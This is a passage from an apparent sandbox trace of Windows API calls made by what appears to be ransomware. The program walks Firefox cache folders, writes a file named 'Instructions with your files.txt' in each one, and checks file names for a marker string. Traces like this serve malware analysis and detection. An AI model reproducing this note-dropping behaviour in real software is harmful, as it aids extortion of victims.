[0130.734] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\a\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0130.734] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0130.735] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0130.735] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0130.735] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0130.735] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0130.735] CloseHandle (hObject=0x128) returned 1
[0130.735] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0130.735] GetProcessHeap () returned 0x810000
[0130.735] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0130.735] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="B", cAlternateFileName="")) returned 1
[0130.735] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B") returned 97
[0130.735] GetProcessHeap () returned 0x810000
[0130.735] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0130.735] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B\\*") returned 99
[0130.735] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0130.736] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B\\.") returned 99
[0130.736] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.736] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B\\..") returned 100
[0130.736] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.736] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B\\Instructions with your files.txt") returned 130
[0130.736] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\b\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0130.737] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0130.738] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0130.738] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0130.738] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0130.738] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0130.738] CloseHandle (hObject=0x128) returned 1
[0130.739] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0130.739] GetProcessHeap () returned 0x810000
[0130.739] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0130.739] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C", cAlternateFileName="")) returned 1
[0130.739] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C") returned 97
[0130.739] GetProcessHeap () returned 0x810000
[0130.739] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0130.739] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\*") returned 99
[0130.739] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0130.739] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\.") returned 99
[0130.739] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.739] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\..") returned 100
[0130.739] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7eaf750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="E6", cAlternateFileName="")) returned 1
[0130.739] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6") returned 100
[0130.739] GetProcessHeap () returned 0x810000
[0130.739] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8bcc18
[0130.740] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\*") returned 102
[0130.740] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\*", lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7eaf750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e78
[0130.741] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\.") returned 102
[0130.741] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7eaf750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.741] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\..") returned 103
[0130.741] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7eaf750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f21b70, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x21839, dwReserved0=0x0, dwReserved1=0x0, cFileName="9DCB7d01", cAlternateFileName="")) returned 1
[0130.741] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\9DCB7d01") returned 109
[0130.741] StrStrIW (lpFirst="9DCB7d01", lpSrch="SDfghjkl") returned 0x0
[0130.741] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7eaf750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f21b70, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x21839, dwReserved0=0x0, dwReserved1=0x0, cFileName="9DCB7d01", cAlternateFileName="")) returned 0
[0130.741] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\Instructions with your files.txt") returned 133
[0130.741] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\c\\e6\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
[0130.741] WriteFile (in: hFile=0x12c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdca4*=0x54, lpOverlapped=0x0) returned 1
[0130.742] WriteFile (in: hFile=0x12c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdca4*=0x18, lpOverlapped=0x0) returned 1
[0130.742] WriteFile (in: hFile=0x12c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdca4*=0xc, lpOverlapped=0x0) returned 1
[0130.742] WriteFile (in: hFile=0x12c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdca4*=0x16, lpOverlapped=0x0) returned 1
[0130.742] WriteFile (in: hFile=0x12c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdca4*=0x23, lpOverlapped=0x0) returned 1
[0130.742] CloseHandle (hObject=0x12c) returned 1
[0130.742] FindClose (in: hFindFile=0x876e78 | out: hFindFile=0x876e78) returned 1
[0130.742] GetProcessHeap () returned 0x810000
[0130.742] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8bcc18 | out: hHeap=0x810000) returned 1
[0130.743] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7eaf750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="E6", cAlternateFileName="")) returned 0
[0130.743] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\Instructions with your files.txt") returned 130
[0130.743] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0130.743] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0130.744] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0130.744] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0130.744] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0130.744] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0130.744] CloseHandle (hObject=0x128) returned 1
[0130.744] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0130.744] GetProcessHeap () returned 0x810000
[0130.744] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0130.745] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="D", cAlternateFileName="")) returned 1
[0130.745] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D") returned 97
[0130.745] GetProcessHeap () returned 0x810000
[0130.745] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0130.746] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\*") returned 99
[0130.746] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0130.747] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\.") returned 99
[0130.747] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.747] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\..") returned 100
[0130.747] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e671d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="08", cAlternateFileName="")) returned 1
[0130.747] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08") returned 100
[0130.747] GetProcessHeap () returned 0x810000
[0130.747] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8bcc18
[0130.748] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\*") returned 102
[0130.748] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\*", lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e671d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e78
[0130.749] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\.") returned 102
[0130.749] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e671d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
